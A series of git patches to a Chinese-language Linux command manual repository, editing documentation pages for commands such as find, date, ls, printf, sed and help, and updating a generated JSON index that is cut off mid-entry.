1 insertion(+), 1 deletion(-) diff --git a/command/find.md b/command/find.md index d2617daa54b..e6d2470f3f7 100644 --- a/command/find.md +++ b/command/find.md @@ -300,7 +300,7 @@ find $HOME/. -name "*.txt" -ok rm {} \; 查找当前目录下所有.txt文件并把他们拼接起来写入到all.txt文件中 ```shell -find . -type f -name "*.txt" -exec cat {} \;> all.txt +find . -type f -name "*.txt" -exec cat {} \;> /all.txt ``` 将30天前的.log文件移动到old目录中 From 3df60d19ecec05df1fa92f871e738fe6bb85e91a Mon Sep 17 00:00:00 2001 From: ZhuangZhu-74 <49544524+ZhuangZhu-74@users.noreply.github.com> Date: Sun, 19 May 2019 10:13:25 +0800 Subject: [PATCH 0033/1019] Update date.md (#107) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 为date命令添加用法 --- command/date.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/command/date.md b/command/date.md index 27b7e5d9b36..a182904c6cd 100644 --- a/command/date.md +++ b/command/date.md @@ -152,5 +152,19 @@ difference=$(( end - start )) echo $difference seconds. ``` +当你考虑输出带有时间的字符串时，例如（Current time: 2019/05/19）： + +最常用的方法： + +```shell +echo -e "Current time: $(date +"%Y%m%d")" +``` + +另一种方法： +```shell +suffix='Current time:' +#和echo的用法差不多，注意如果换成单引号就不能替换变量了。 +date +"${suffix} %Y/%m/%d" +``` From df7819dc08d784835ee127fd6c5f4db4af081efb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Wed, 22 May 2019 09:37:43 +0800 Subject: [PATCH 0034/1019] Update ls.md --- command/ls.md | 1 + 1 file changed, 1 insertion(+) diff --git a/command/ls.md b/command/ls.md index 748bbf08a4c..f662e33a649 100644 --- a/command/ls.md +++ b/command/ls.md @@ -11,6 +11,7 @@ ls ```shell ls [选项] [文件名...] + [-1abcdfgiklmnopqrstuxABCDFGLNQRSUX] [-w cols] [-T cols] [-I pattern] [--full-time] [--format={long,verbose,commas,across,vertical,single-col‐umn}] [--sort={none,time,size,extension}] [--time={atime,access,use,ctime,status}] [--color[={none,auto,always}]] [--help] [--version] [--] ``` ### 选项 From fa7695e23b5fbed7d4c6c2a5087f31269386cdb3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Wed, 22 May 2019 09:38:16 +0800 Subject: [PATCH 0035/1019] Update ls.md --- command/ls.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/command/ls.md b/command/ls.md index f662e33a649..84a6a4c3d58 100644 --- a/command/ls.md +++ b/command/ls.md @@ -11,7 +11,10 @@ ls ```shell ls [选项] [文件名...] - [-1abcdfgiklmnopqrstuxABCDFGLNQRSUX] [-w cols] [-T cols] [-I pattern] [--full-time] [--format={long,verbose,commas,across,vertical,single-col‐umn}] [--sort={none,time,size,extension}] [--time={atime,access,use,ctime,status}] [--color[={none,auto,always}]] [--help] [--version] [--] + [-1abcdfgiklmnopqrstuxABCDFGLNQRSUX] [-w cols] [-T cols] [-I pattern] [--full-time] + [--format={long,verbose,commas,across,vertical,single-col‐umn}] + [--sort={none,time,size,extension}] [--time={atime,access,use,ctime,status}] + [--color[={none,auto,always}]] [--help] [--version] [--] ``` ### 选项 From c6937714c04a99ce70537ba79db2718648c6c55c Mon Sep 17 00:00:00 2001 From: ZhuangZhu-74 <49544524+ZhuangZhu-74@users.noreply.github.com> Date: Thu, 23 May 2019 17:44:34 +0800 Subject: [PATCH 0036/1019] update printf.md (#108) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Update date.md 为date命令添加用法 * Update printf.md 修改了 ‘一个字面上的反斜杠字符’的markdown表示以便显示两个反斜杠； 修改了一个错字； 增加了一些实例； --- command/printf.md | 28 +++++++++++++++++++++++++--- 1 file changed, 25 insertions(+), 3 deletions(-) diff --git a/command/printf.md b/command/printf.md index d5f01165d85..d487ebd6593 100644 --- a/command/printf.md +++ b/command/printf.md @@ -45,7 +45,7 @@ printf(选项)(参数) * \r 回车（Carriage return） * \t 水平制表符 * \v 垂直制表符 -* \\ 一个字面上的反斜杠字符 +* \\\\ 一个字面上的反斜杠字符 * \ddd 表示1到3位数八进制值的字符，仅在格式字符串中有效 * \0ddd 表示1到3位的八进制值字符 @@ -64,8 +64,30 @@ printf "%-5s %-10s %-4.2f\n" 02 Jack 89.2345 printf "%-5s %-10s %-4.2f\n" 03 Jeff 98.4323 ``` -* %-5s 格式为左对齐且宽度为5的字符串代替（-表示左对齐），不使用则是又对齐。 +* %-5s 格式为左对齐且宽度为5的字符串代替（-表示左对齐），不使用则是右对齐。 * %-4.2f 格式为左对齐宽度为4，保留两位小数。 +### 按行打印数组和关联数组的下标及值 - \ No newline at end of file +```shell +#!/bin/bash +#声明数组（array）可以不加 'declare -a' 或 'local -a'（在函数内声明的局部变量） +array1=('line1' 'line2') +#声明关联数组（也就是字典）必须加 'declare -A' 或 'local -A'（在函数内声明的局部变量） +declare -A assoc_array1=(['key1']='value1' ['key2']='value2') + +printf "%s\n" ${array1[@]} +#line1 +#line2 +printf "%s\n" ${!array1[@]} +#0 +#1 +printf "%s\n" ${assoc_array1[@]} +#value2 +#value1 +printf "%s\n" ${!assoc_array1[@]} +#key2 +#key1 +``` + + From a8129437eb37816fdbed02733a6705b0f78e0d90 Mon Sep 17 00:00:00 2001 From: ZhuangZhu-74 <49544524+ZhuangZhu-74@users.noreply.github.com> Date: Fri, 24 May 2019 15:13:27 +0800 Subject: [PATCH 0037/1019] Update sed.md date.md (#109) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Update date.md 修复了我自己之前更新时引入的错误 * Update sed.md 修正markdown格式 --- command/date.md | 2 +- command/sed.md | 9 +++------ 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/command/date.md b/command/date.md index a182904c6cd..f0ee7267bef 100644 --- a/command/date.md +++ b/command/date.md @@ -157,7 +157,7 @@ echo $difference seconds. 最常用的方法： ```shell -echo -e "Current time: $(date +"%Y%m%d")" +echo "Current time: $(date +"%Y/%m/%d")" ``` 另一种方法： diff --git a/command/sed.md b/command/sed.md index bad5113bda8..84f0a66109b 100644 --- a/command/sed.md +++ b/command/sed.md @@ -373,16 +373,14 @@ sed [options] -f scriptfile file(s) ```shell sed -n 'p;n' test.txt #奇数行 sed -n 'n;p' test.txt #偶数行 - -```shell +``` 方法2： ```shell sed -n '1~2p' test.txt #奇数行 sed -n '2~2p' test.txt #偶数行 - -```shell +``` ### 打印匹配字符串的下一行 @@ -390,8 +388,7 @@ sed -n '2~2p' test.txt #偶数行 grep -A 1 SCC URFILE sed -n '/SCC/{n;p}' URFILE awk '/SCC/{getline; print}' URFILE - -```shell +``` From d3c735da2d68d44b323b219b1844bccbd6938d8e Mon Sep 17 00:00:00 2001 From: zoomdong <32598811+fireairforce@users.noreply.github.com> Date: Tue, 28 May 2019 09:31:59 +0800 Subject: [PATCH 0038/1019] fix:fix typo (#110) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 05b37f11944..9aa835a9d8f 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ Linux Command [![](https://jaywcjlove.github.io/sb/ico/linux.svg)](https://jaywcjlove.github.io/linux-command/) [![](https://jaywcjlove.github.io/sb/ico/weibo.svg)](http://weibo.com/pc175) -550 多个 Linux 命令，内容包含 Linux 命令手册、详解、学习，值得收藏的 Linux 命令速查手册。请原谅我写了个爬虫，爬了他们家的数据 [linuxde.net](http://man.linuxde.net) ，同时进行了编辑，增加了一些数据。对他们的辛勤劳动表示敬意，个人希望能本地离线搜索，不喜欢广告，希望得到干净漂亮的预览界面，业余和工作时间需要使用大量的命令，所以干了一件看似比较愚蠢的事情，在回头有空的时候估计能做一个App？，或者是命令行帮助工具？但目前还没有计划... +550 多个 Linux 命令，内容包含 Linux 命令手册、详解、学习，值得收藏的 Linux 命令速查手册。请原谅我写了个爬虫，爬了他们家的数据 [linuxde.net](http://man.linuxde.net) ，同时进行了编辑，增加了一些数据。对他们的辛勤劳动表示敬意，个人希望能本地离线搜索，不喜欢广告，希望得到干净漂亮的预览界面，业余和工作时间需要使用大量的命令，所以干了一件看似比较愚蠢的事情，在回头有空的时候估计能做一个App？或者是命令行帮助工具？但目前还没有计划... [Web](#web-版本) | [Dash](#dash-版本) | [Alfred](#alfred-版本) | [Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) From fc454f4686a06245ee361d8f67653a4203678644 Mon Sep 17 00:00:00 2001 From: ZhuangZhu-74 <49544524+ZhuangZhu-74@users.noreply.github.com> Date: Tue, 4 Jun 2019 11:35:39 +0800 Subject: [PATCH 0039/1019] Update help.md (#113) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 补充并丰富了该文档的信息，增加了Q&A部分 --- command/help.md | 52 ++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 47 insertions(+), 5 deletions(-) diff --git a/command/help.md b/command/help.md index 3d74616c958..3b25830a328 100644 --- a/command/help.md +++ b/command/help.md @@ -1,11 +1,11 @@ help === -显示帮助信息 +该命令是bash内建命令，用于显示bash内建命令的帮助信息。 ## 补充说明 -**help命令** 用于显示shell内部命令的帮助信息。help命令只能显示shell内部的命令帮助信息。而对于外部命令的帮助信息只能使用man或者info命令查看。 +**help命令** help命令只能显示bash内建命令的帮助信息，而对于外部命令的帮助信息只能使用man或者info命令查看。 ### 语法 @@ -16,12 +16,54 @@ help(选项)(参数) ### 选项 ```shell --s：输出短格式的帮助信息。仅包括命令格式。 +-d：显示内建命令的简要描述。 +-m：按照man手册的格式输出内建命令的帮助信息。 +-s：仅输出内建命令的命令格式。 +不指定选项时：输出的帮助信息类似于-m选项，但是缺少段落名称和'SEE ALSO'，'IMPLEMENTATION'部分。 ``` ### 参数 -内部命令：指定需要显示帮助信息的shell内部命令。 +bash内建命令（可以为多个，请用空格分隔开）。 + +### 常见问题 + +Q：有哪些命令是bash内建命令？我如何判断一个命令是否为bash内建命令？ + +A：您可以在终端使用 'man builtin' 或 'man builtins' 来获取；您可以查看bash内建命令 'type' 的帮助信息。 + +Q：那么help命令本身的帮助信息如何获取？ + +A：把help作为参数传给help命令；） + +Q：为什么echo也可以用 'man echo' 来查看帮助信息？ + +A：因为除了bash内建的echo，GNU/linux的coreutils包里也有该命令；在echo的man手册中，DESCRIPTION段落的 'NOTE' 也提示了和同名内建的不同。 + +PS：当你在shell脚本里定义了一个叫 'echo' 的函数，那么调用的时候优先级会如何呢？ + +```shell +#!/bin/bash +#type也是内建命令 +type -t echo +echo(){ + printf "123\n" +} +type -t echo +``` + +```shell +#输出结果 +builtin +function +``` + +函数优先于内建命令，内建命令优先于外部命令。 + +Q：我需要获得更多的bash的相关帮助信息 + +A：限于篇幅和主题，您可以在终端执行 'man bash' ， 'info bash' ，[访问bash官方网站](http://www.gnu.org/software/bash/)，以及搜索引擎等。 + ### 实例 @@ -41,4 +83,4 @@ shopt: shopt [-pqsu] [-o long-option] optname [optname...] ``` - \ No newline at end of file + From 2d00c0ba26122a04555a5037ecbc5865dd1f565f Mon Sep 17 00:00:00 2001 From: Xu Chunyang Date: Mon, 3 Jun 2019 22:36:56 -0500 Subject: [PATCH 0040/1019] Fix typos (#111) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * * command/accept.md: Remove \r * * command/bye.md: Remove 。 * Remove the final 。 in summary --- command/accept.md | 2 +- command/arp.md | 2 +- command/bye.md | 2 +- command/clock.md | 2 +- command/cu.md | 2 +- command/dhcpd.md | 2 +- command/file.md | 2 +- command/firewall-cmd.md | 2 +- command/getenforce.md | 2 +- command/htop.md | 2 +- command/mount.md | 2 +- command/named-checkzone.md | 2 +- command/nc.md | 2 +- command/pigz.md | 2 +- command/poweroff.md | 2 +- command/pv.md | 2 +- command/resize.md | 2 +- command/setsid.md | 2 +- command/source.md | 2 +- command/ss.md | 2 +- command/tailf.md | 2 +- command/tar.md | 2 +- command/tcpdump.md | 2 +- command/tmux.md | 2 +- command/tty.md | 2 +- command/uucico.md | 2 +- command/uupick.md | 2 +- command/uuto.md | 2 +- command/vgrename.md | 2 +- command/xz.md | 2 +- 30 files changed, 30 insertions(+), 30 deletions(-) diff --git a/command/accept.md b/command/accept.md index 3edc635c3a4..4577ffadbc9 100644 --- a/command/accept.md +++ b/command/accept.md @@ -1,6 +1,6 @@ accept === - + 指示打印系统接受发往指定目标打印机的打印任务 ## 补充说明 diff --git a/command/arp.md b/command/arp.md index 9cc8ac6126b..993f236f416 100644 --- a/command/arp.md +++ b/command/arp.md @@ -1,7 +1,7 @@ arp === -arp 命令用于显示和修改 IP 到 MAC 转换表。 +arp 命令用于显示和修改 IP 到 MAC 转换表 ## 补充说明 diff --git a/command/bye.md b/command/bye.md index 036aa9252fe..578f4932988 100644 --- a/command/bye.md +++ b/command/bye.md @@ -1,7 +1,7 @@ bye === -命令用于中断FTP连线并结束程序。。 +命令用于中断FTP连线并结束程序 ## 补充说明 diff --git a/command/clock.md b/command/clock.md index 5cf0357398e..688cef28a5f 100644 --- a/command/clock.md +++ b/command/clock.md @@ -1,7 +1,7 @@ clock === -用于调整 RTC 时间。 +用于调整 RTC 时间 ## 补充说明 diff --git a/command/cu.md b/command/cu.md index 4524579dd25..728550727c8 100644 --- a/command/cu.md +++ b/command/cu.md @@ -1,7 +1,7 @@ cu === -用于连接另一个系统主机。 +用于连接另一个系统主机 ## 补充说明 diff --git a/command/dhcpd.md b/command/dhcpd.md index 266eb90e0ce..4c2224bba48 100644 --- a/command/dhcpd.md +++ b/command/dhcpd.md @@ -1,7 +1,7 @@ dhcpd === -运行DHCP服务器。 +运行DHCP服务器 ### 语法 diff --git a/command/file.md b/command/file.md index 7b43f99e251..524af47fe2b 100644 --- a/command/file.md +++ b/command/file.md @@ -1,7 +1,7 @@ file === -用来探测给定文件的类型。 +用来探测给定文件的类型 ## 补充说明 diff --git a/command/firewall-cmd.md b/command/firewall-cmd.md index e10a36cadb3..394df08f36a 100644 --- a/command/firewall-cmd.md +++ b/command/firewall-cmd.md @@ -1,7 +1,7 @@ firewall-cmd === -Linux上新用的防火墙软件，跟iptables差不多的工具。 +Linux上新用的防火墙软件，跟iptables差不多的工具 ## 补充说明 diff --git a/command/getenforce.md b/command/getenforce.md index 7134c137c59..d15edf72fe2 100644 --- a/command/getenforce.md +++ b/command/getenforce.md @@ -1,7 +1,7 @@ getenforce === -显示当前SELinux的应用模式，是强制、执行还是停用。 +显示当前SELinux的应用模式，是强制、执行还是停用 ## 补充说明 diff --git a/command/htop.md b/command/htop.md index 89a80f2cd94..3fcada9ba62 100644 --- a/command/htop.md +++ b/command/htop.md @@ -1,7 +1,7 @@ htop === -[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况。 +[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况 ## 补充说明 diff --git a/command/mount.md b/command/mount.md index c5b8663bcd0..e81d8e3a6e3 100644 --- a/command/mount.md +++ b/command/mount.md @@ -1,7 +1,7 @@ mount === -用于挂载Linux系统外的文件。 +用于挂载Linux系统外的文件 ## 补充说明 diff --git a/command/named-checkzone.md b/command/named-checkzone.md index d11e5734e0e..01576b1c8c6 100644 --- a/command/named-checkzone.md +++ b/command/named-checkzone.md @@ -1,7 +1,7 @@ named-checkzone === -使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称。 +使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称 ## 补充说明 diff --git a/command/nc.md b/command/nc.md index 172e08cd5e7..b0f8d64640b 100644 --- a/command/nc.md +++ b/command/nc.md @@ -1,7 +1,7 @@ nc === -用于设置路由器，是网络工具中的瑞士军刀。 +用于设置路由器，是网络工具中的瑞士军刀 ## 补充说明 diff --git a/command/pigz.md b/command/pigz.md index b7a50faa26a..8d4ddb356ba 100644 --- a/command/pigz.md +++ b/command/pigz.md @@ -1,7 +1,7 @@ pigz === -可以用来解压缩文件，gzip的并行实现升级版。 +可以用来解压缩文件，gzip的并行实现升级版 ## 补充说明 diff --git a/command/poweroff.md b/command/poweroff.md index 2582dbae982..93e439621f8 100644 --- a/command/poweroff.md +++ b/command/poweroff.md @@ -1,7 +1,7 @@ poweroff === -关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中。 +关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中 ## 补充说明 diff --git a/command/pv.md b/command/pv.md index 2778c3d914f..8d0243fb90f 100644 --- a/command/pv.md +++ b/command/pv.md @@ -1,7 +1,7 @@ pv === -显示当前在命令行执行的命令的进度信息，管道查看器。 +显示当前在命令行执行的命令的进度信息，管道查看器 ## 补充说明 diff --git a/command/resize.md b/command/resize.md index c7a216c3de8..9fbc25e520e 100644 --- a/command/resize.md +++ b/command/resize.md @@ -1,7 +1,7 @@ resize === -命令设置终端机视窗的大小。 +命令设置终端机视窗的大小 ## 补充说明 diff --git a/command/setsid.md b/command/setsid.md index dfa7d6e0f95..1a9634a89f3 100644 --- a/command/setsid.md +++ b/command/setsid.md @@ -1,7 +1,7 @@ setsid === -在新的会话中运行程序。 +在新的会话中运行程序 ## 补充说明 diff --git a/command/source.md b/command/source.md index 969f9d63084..c1a38873799 100644 --- a/command/source.md +++ b/command/source.md @@ -1,7 +1,7 @@ source === -在当前Shell环境中从指定文件读取和执行命令，命令返回退出状态。 +在当前Shell环境中从指定文件读取和执行命令，命令返回退出状态 ## 补充说明 diff --git a/command/ss.md b/command/ss.md index fcb5f1bb9df..cc55ee89195 100644 --- a/command/ss.md +++ b/command/ss.md @@ -1,7 +1,7 @@ ss === -比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息。 +比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息 ## 补充说明 diff --git a/command/tailf.md b/command/tailf.md index 5e5035bec06..35212be9072 100644 --- a/command/tailf.md +++ b/command/tailf.md @@ -1,7 +1,7 @@ tailf === -在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出。 +在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出 ## 补充说明 diff --git a/command/tar.md b/command/tar.md index 29a4a0f601a..116d38b8361 100644 --- a/command/tar.md +++ b/command/tar.md @@ -1,7 +1,7 @@ tar === -Linux下的归档使用工具，用来打包和备份。 +Linux下的归档使用工具，用来打包和备份 ## 补充说明 diff --git a/command/tcpdump.md b/command/tcpdump.md index 1f58dbc223b..6e679aac10a 100644 --- a/command/tcpdump.md +++ b/command/tcpdump.md @@ -1,7 +1,7 @@ tcpdump === -一款sniffer工具，是Linux上的抓包工具，嗅探器。 +一款sniffer工具，是Linux上的抓包工具，嗅探器 ## 补充说明 diff --git a/command/tmux.md b/command/tmux.md index 2f6a58928a4..7c43f55fbea 100644 --- a/command/tmux.md +++ b/command/tmux.md @@ -1,7 +1,7 @@ tmux === -Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权。 +Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权 ## 补充说明 diff --git a/command/tty.md b/command/tty.md index fca10a14a81..48f45cb83e1 100644 --- a/command/tty.md +++ b/command/tty.md @@ -1,7 +1,7 @@ tty === -显示连接到当前标准输入的终端设备文件名。 +显示连接到当前标准输入的终端设备文件名 ## 补充说明 diff --git a/command/uucico.md b/command/uucico.md index c003d343df0..2f6c01dc5b5 100644 --- a/command/uucico.md +++ b/command/uucico.md @@ -1,7 +1,7 @@ uucico === -UUCP文件传输服务程序。 +UUCP文件传输服务程序 ## 补充说明 diff --git a/command/uupick.md b/command/uupick.md index fba709096cd..46b96fd688b 100644 --- a/command/uupick.md +++ b/command/uupick.md @@ -1,7 +1,7 @@ uupick === -命令处理传送进来的文件。 +命令处理传送进来的文件 ## 补充说明 diff --git a/command/uuto.md b/command/uuto.md index aff095e4235..16eda827839 100644 --- a/command/uuto.md +++ b/command/uuto.md @@ -1,7 +1,7 @@ uuto === -将文件传送到远端的UUCP主机。 +将文件传送到远端的UUCP主机 ## 补充说明 diff --git a/command/vgrename.md b/command/vgrename.md index 1f7b4e3e581..e6df57054ea 100644 --- a/command/vgrename.md +++ b/command/vgrename.md @@ -1,7 +1,7 @@ vgrename === -使用vgrename命令可以重命名卷组的名称。 +使用vgrename命令可以重命名卷组的名称 ## 补充说明 diff --git a/command/xz.md b/command/xz.md index 76beaecd829..92d2655344f 100644 --- a/command/xz.md +++ b/command/xz.md @@ -1,7 +1,7 @@ xz === -POSIX 平台开发具有高压缩率的工具。 +POSIX 平台开发具有高压缩率的工具 ## 补充说明 From 21de07db01a7dd4bfd1ce73ec6f61919c30a58ed Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 4 Jun 2019 13:39:58 +0800 Subject: [PATCH 0041/1019] Update data.json --- dist/data.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dist/data.json b/dist/data.json index bf0b0d512d9..27f307b9145 100644 --- a/dist/data.json +++ b/dist/data.json @@ -1 +1 @@ -{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"用来设置指令的别名"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表。"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"用于将作业放到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"builtin":{"n":"builtin","p":"/builtin","d":"执行shell内部命令"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序。。"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接文件并打印到标准输出设备上"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间。"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"两个文件之间的比较"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机。"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明或显示shell变量"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器。"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录记录"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获